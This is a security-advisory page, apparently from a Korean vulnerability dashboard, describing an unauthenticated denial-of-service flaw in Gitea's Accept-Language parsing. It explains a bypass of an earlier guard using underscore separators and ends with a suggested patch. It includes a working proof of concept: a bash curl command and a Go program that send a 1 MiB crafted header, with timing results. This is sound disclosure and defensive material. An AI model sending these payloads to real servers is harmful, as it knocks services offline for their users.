Kestrel
대시보드로 돌아가기
CVE-2026-58436HIGHGHSA대응게시일: 2026. 07. 21.수정일: 2026. 07. 21.

Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

The Locale middleware that runs in front of every unauthenticated request
calls golang.org/x/text/language.ParseAcceptLanguage on the raw
Accept-Language header without imposing a size or shape filter. The
underlying parser has quadratic-time behaviour on long lists of malformed
language tags. The CVE-2022-32149 guard that golang.org/x/text added in
v0.3.8 caps the number of - characters in the input at 1000, but it does
not cap _ characters even though the parser's internal scanner aliases
_ to - before parsing. A single unauthenticated GET request with an
Accept-Language header built out of _ separators burns ~2 seconds of
server CPU on the host running Gitea; ten concurrent attackers saturate a
ten-core box for the duration of the attack while consuming ~1 MiB of
upstream bandwidth per request.

Affected versions

code.gitea.io/gitea 1.22.6 and (per code inspection of main) all
earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that
do not impose their own size limit on the Accept-Language header before
calling ParseAcceptLanguage. Verified on:

  • the official gitea/gitea:1.22.6 docker image (E2E below)
  • main at commit 6f4027a6be28c876c0abaf37cc939658645b78a3 by reading
    modules/web/middleware/locale.go (the call site at line 38 is unchanged
    on main)

Privilege required

Unauthenticated. The Locale middleware runs for every HTTP request
including the landing page and the sign-in page.

Vulnerable code

modules/web/middleware/locale.go:38
(blob SHA fc396f0808187c358b4fc15dcefcd6957140a780):

text
1// 3. Get language information from 'Accept-Language'.
2// The first element in the list is chosen to be the default language automatically.
3if len(lang) == 0 {
4 tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language"))
5 tag := translation.Match(tags...)
6 lang = tag.String()
7}

req.Header.Get("Accept-Language") is the unfiltered HTTP header. Default
Go net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Gitea does not
override it, so the parser is allowed to receive up to a megabyte of
attacker-controlled data.

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters
and rejecting inputs with more than 1000 of them. The guard does not count
_ characters even though the scanner converts _ to - at parse time
(golang.org/x/text/internal/language/parse.go).
A 1 MiB header full of 9-character _aaaaaaaaa_aaaaaaaaa_... tokens
contains zero - characters, passes the guard, and then drives the
scanner into the O(N²) gobble path. The fix author of CVE-2022-32149
treated - as the canonical separator; the _ alias was added in 2013,
nine years before the fix.

How Accept-Language reaches ParseAcceptLanguage

Every Gitea HTTP request passes through Locale as it is wired up via
the global request pipeline (Gitea registers the middleware on its router
in routers/web/web.go). The middleware sequence is:

  1. The request enters Locale(resp, req).
  2. req.URL.Query().Get("lang") returns "" (attacker omits lang).
  3. req.Cookie("lang") returns nil on a fresh client (attacker uses a
    fresh client, or simply does not send the cookie).
  4. req.Header.Get("Accept-Language") returns the full attacker-supplied
    header value.
  5. language.ParseAcceptLanguage(...) runs unfiltered.

No size or character class filter is applied between (4) and (5).

Proof of concept

Single-line bash reproducer that crafts the malicious header and
times one request against a fresh gitea/gitea:1.22.6 container:

bash
1docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6
2sleep 8
3
4PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
5echo "header size = ${#PAYLOAD} bytes"
6
7curl -sS -o /dev/null \
8 -w 'http=%{http_code} t=%{time_total}\n' \
9 -H "Accept-Language: ${PAYLOAD}" \
10 http://127.0.0.1:13000/

Each 9-character _abcdefghi token has length 9, which fails the
scanner's len <= 8 tag-length check at
golang.org/x/text/internal/language/parse.go and triggers a gobble
call that runtime.memmoves the entire remaining buffer. With N invalid
tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against gitea/gitea:1.22.6)

A Go driver poc.go that boots the container, sends a 1 MiB
Accept-Language value once with - (CVE-2022-32149 guard fires) and
once with _ (guard bypassed):

text
1// poc.go
2package main
3
4import (
5 "fmt"
6 "io"
7 "net"
8 "net/http"
9 "strings"
10 "time"
11)
12
13const targetURL = "http://127.0.0.1:13000/"
14
15func buildPayload(sep string, targetBytes int) string {
16 const tok = "abcdefghi"
17 var b strings.Builder
18 b.Grow(targetBytes + 16)
19 b.WriteString("en")
20 for b.Len()+1+len(tok) <= targetBytes {
21 b.WriteString(sep)
22 b.WriteString(tok)
23 }
24 return b.String()
25}
26
27func send(label, header string) {
28 client := &http.Client{
29 Timeout: 60 * time.Second,
30 Transport: &http.Transport{
31 DisableKeepAlives: true,
32 DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
33 },
34 }
35 req, _ := http.NewRequest("GET", targetURL, nil)
36 if header != "" {
37 req.Header.Set("Accept-Language", header)
38 }
39 t0 := time.Now()
40 resp, err := client.Do(req)
41 dt := time.Since(t0)
42 if err != nil {
43 fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
44 return
45 }
46 _, _ = io.Copy(io.Discard, resp.Body)
47 resp.Body.Close()
48 fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
49 label, len(header),
50 strings.Count(header, "_"), strings.Count(header, "-"),
51 resp.StatusCode, dt)
52}
53
54func main() {
55 send("warm-up", "")
56 send("baseline (no header)", "")
57 send("baseline (1 short tag)", "en-US")
58 send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
59 send("attack ('_' x 1MiB)", buildPayload("_", 1<<20))
60 send("attack repeat 2", buildPayload("_", 1<<20))
61 send("attack repeat 3", buildPayload("_", 1<<20))
62}

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the
official gitea/gitea:1.22.6 image with no other tuning):

text
1E2E: golang/x/text ParseAcceptLanguage '_' bypass through
2go-gitea/gitea 1.22.6 Locale middleware at
3modules/web/middleware/locale.go:38.
4
5Target: http://127.0.0.1:13000/
6
7 warm-up (no header) header=0 B '_'=0 '-'=0 status=200 t=18.079666ms
8
9--- measurements (single request each) ---
10 baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=6.480333ms
11 baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=5.0455ms
12 guard-fires control ('-' x 1MiB) header=1048572 B '_'=0 '-'=104857 status=200 t=26.020625ms
13 attack ('_' x 1MiB) header=1048572 B '_'=104857 '-'=0 status=200 t=2.159538333s
14 attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.938493583s
15 attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.679953042s

Interpretation:

RequestHeader bytesServer time
no header / short tag0 - 51 - 7 ms
1 MiB - separators (CVE-2022-32149 guard fires)1 MiB26 ms
1 MiB _ separators (guard bypassed)1 MiB1.7 - 2.2 s

The - control proves that the existing CVE-2022-32149 guard does still
work on the canonical separator: a 1 MiB - payload returns in 26 ms
because the parser short-circuits with ErrTagListTooLarge. The _
attack returns 200 from the same endpoint but consumes ~2 s of server
CPU because the guard did not fire and the quadratic scanner ran to
completion.

Impact

  • One unauthenticated client can pin one CPU core for ~2 seconds per 1
    MiB request.
  • Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a
    10-core Gitea instance indefinitely.
  • The endpoint returns 200 OK, so the attack does not surface as
    abnormal traffic in standard 4xx/5xx dashboards.
  • Self-hosted Gitea installations published to the public internet (the
    common pattern) are exposed.

Suggested fix

Apply the size / character-class filter before reaching
ParseAcceptLanguage. The smallest change that preserves the existing
behaviour for legitimate Accept-Language headers is to count _
alongside - and short-circuit when the total exceeds a small ceiling:

text
1// modules/web/middleware/locale.go
2const maxAcceptLanguageSeparators = 32 // matches typical real browser values
3
4if len(lang) == 0 {
5 al := req.Header.Get("Accept-Language")
6 if strings.Count(al, "-")+strings.Count(al, "_") > maxAcceptLanguageSeparators {
7 // Refuse to call into the BCP 47 parser with absurd input.
8 al = ""
9 }
10 tags, _, _ := language.ParseAcceptLanguage(al)
11 tag := translation.Match(tags...)
12 lang = tag.String()
13}

A real Accept-Language header from a browser contains under 10
separators, so a ceiling of 32 leaves plenty of headroom while making
the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future
upstream fix is the right long-term solution; the change above is
defensive in depth at the only call site that consumes attacker input.

Credit

Reported by tonghuaroot.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.